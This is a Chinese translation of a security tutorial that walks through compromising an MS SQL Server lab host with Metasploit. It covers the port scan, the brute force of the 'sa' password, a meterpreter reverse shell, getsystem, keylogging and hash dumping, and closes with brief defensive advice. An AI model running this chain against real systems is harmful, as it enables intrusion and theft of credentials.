当谈及SQL服务器,几乎所有的系统管理员和数据库管理员都会同意这样一个观点:管理员并不都有设置复杂密码的意识。看起来这或许方便技术支持人员进行简单故障排除,但却过低评估了它的风险性。当然这些还不重要,重要的是,它更容易让攻击者攻击系统。
在这次攻击中,我们将使用到的是Linux Kali和预装了的Metasploit框架,我们的目标计算机是一台运行有Microsoft SQL Server 2005的Windows XP系统计算机。当然,同样的攻击也可以在任何MS SQL平台和Windows操作系统下进行,因为在这里系统的弱点是密码的强度,而不是环境本身。
探测
如同所有的攻击一样,首先我们要对目标计算机的系统信息等进行收集。
我们的选择的是使用nmap工具来扫描某一个IP范围的SQL的通用端口(1433)。
命令:
NMAP-ST-A-PO 192.168.23.0/24
Metasploit也内置了mssql_ping扫描,可以在一个特定的IP范围识别任何微软的SQL服务。
命令:
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS 192.168.23.0/24 (我们目标的IP段)
set THREADS 8
run
现在,我们已经知道我们的目标系统(192.168.23.100),以及Microsoft SQL Server(版本2005 SP4,TCP端口1433)等一些细节,我们可以继续进行下一个步骤。
攻击
这次攻击是基于一个简单的原理。在大多数情况下,微软的SQL服务器将被安装在一个混合模式下。它的默认用户是“sa”,很多时候对于默认用户只有一个简单的密码。这意味着它会比较容易进行暴力破解得到密码,使用字典文件。这些字典文件可以从网上下载或自己生成。生成定制字典的好处是,允许手动添加特定的术语和字段,比如在安装应用程序是可能使用软相关件名称或销售商作为密码。例如,Sandstone的数据库密码就很可能是像“Sandstone01”这样的字段。
对于攻击,我们将使用内置的工具MSSQL_Login。指定目标和密码文件之后,攻击就开始了。
命令:
use auxiliary/scanner/mssql/mssql_login
Set PASS_FILE /root/passwords.txt (字典文件)
Set RHOSTS 192.168.23.100
Set Threads 8
Set verbose false
run
如果如果这一步攻击成功就可以获取到“SA”的密码。此间价值还用在多说什么,允许数据库操有木有!但是,在这次攻击中,我们将使用SA帐户来访问底层的Windows操作系统。
开发
现在我们可以用这个SA密码与我们的目标计算机建立联系。Kali Linux内置有一个名为mssql_payload的工具。这个工具将允许我们通过端口1433发送我们新的登陆凭据的有效载荷。在这里我们就是基于此攻击目标与我们之间的会话的。
命令:
use exploit/windows/mssql/mssql_payload
set RHOST 192.168.23.100 (我们的目标)
set password Password01 (我们刚刚获取的密码)
use payload/windows/meterpreter/reverse_tcp(our selected payload)
exploit
现在,有趣的事情开始。我们已经打开了目标会话,从这里我们可以进行很多命令了。但要小心,别手抖。当我们将Meterpreter文件安装到目标计算机的时候,很多病毒防御程序会对其进行检测、拦截和并删除处理。从以往的经验来看,我想说许多SQL服务器管理员都会禁止使用任扫描中任何的访问形式,从而可以获得最大的性能由服务器托管数据库。如果该目标计算机一直在在运行,例如,一个通宵的病毒扫描,它会留给攻击者充足的时间来进行攻击和收集系统数据,然后从容离开,深藏功与名。
除了使用的Meterpreter有效载荷,其他的有效载荷也可以使用。这里的执行命令如上述相类,只是改变有效负载名称的问题而已。比如,有效载荷“generic/shell_bind_tcp”,将在命令提示符下访问目标系统。
提权
对于很多命令来说,我们需要提升我们用户的访问权限。比如使用截取屏幕工具、键盘记录工具和提取密码哈希值工具等都需要管理员权限来运行。
在这里我们使用了简单的Meterpreter shell。首先,我们使用ps命令生成一系列进程。然后,我们可以使用migrate命令将一个进程提升至更高系统访问许可。在这种情况下,这将好比是explorer.exe进程。
现在有我们需要使用一个额外的命令:getsystem。这将使Meterpreter系统的migrate命令得以实现。如果没有这一点,“权限不足”,进程提升将不能进行。
命令:
Ps(这将显示正在运行的进程及其相应的PID的)
Getsystem(获得系统权限)
Migrate 1064(在该例子中的explorer.exePID)
数据收集
现在,我们有了完整的系统访问权想,我们可以使用一些其他的工具来收集我们所需要的数据。
命令:
Screenshot
在这里将创建目标的截图,然后以jpeg格式保存。
命令:
Run post/windows/capture/keylog_recorder
这将在目标上运行一个键盘记录工具和将键盘记录重新编码的保存在系统中的文本文件中。键盘记录可以获取获取网页的登录信息,银行帐户和信用卡信息等。尽管此间有反病毒防御程序,但是,依旧可以轻松地拿到这个键盘记录。
命令:
Migrate 772(Services.exe的PID)
Run post/windows/gather/hashdump
在一个系统中用户口令通常存储hash值中,可以通过纯碎的暴力破解或是字典、彩虹表等方式进行破解。此处作者为自己之前的一篇相关文章打了广告——
http://resources.infosecinstitute.com/password-auditing-on-active-directory-databases/
为了获得目标系统的hash值,我们需要提升services.exe进程,以便能够获得足够的系统的访问权限。
这些hash值可以用许多暴力破解工具,比如Ophcrack的和Hashcat。
结果
在以上几个简单步骤中,我们可以看到我们已经可以通过使用一个开放的SQL Server端口绕过任何防火墙,不仅获得了完整的数据库访问权限,并据此进一步获得完整的操作系统访问权限。该键盘记录和提取hash值还可能收集更多有用的网络的详细信息,如用户名和密码,以及很可能获得进一步访问其他系统的信息。
如何抵御这种攻击
有几个建议可以保护系统免受这种攻击。首先,使用“正确”的密码!不管出于什么原因,一个SQL服务器的SA的密码,不应该可以不用花多大精力就可以暴力破解的。此外,安装一个入侵检测系统或者干脆自动或手动监控日志,这样可以根据大量的失败登陆日志检测出暴力攻击。另一个方法就是在系统运行一个病毒防御软件。在这个例子中,有效载荷会在攻击之前被侦测到并删除或隔离。
原文地址:http://resources.infosecinstitute.com/attacking-ms-sql-server-gain-system-access/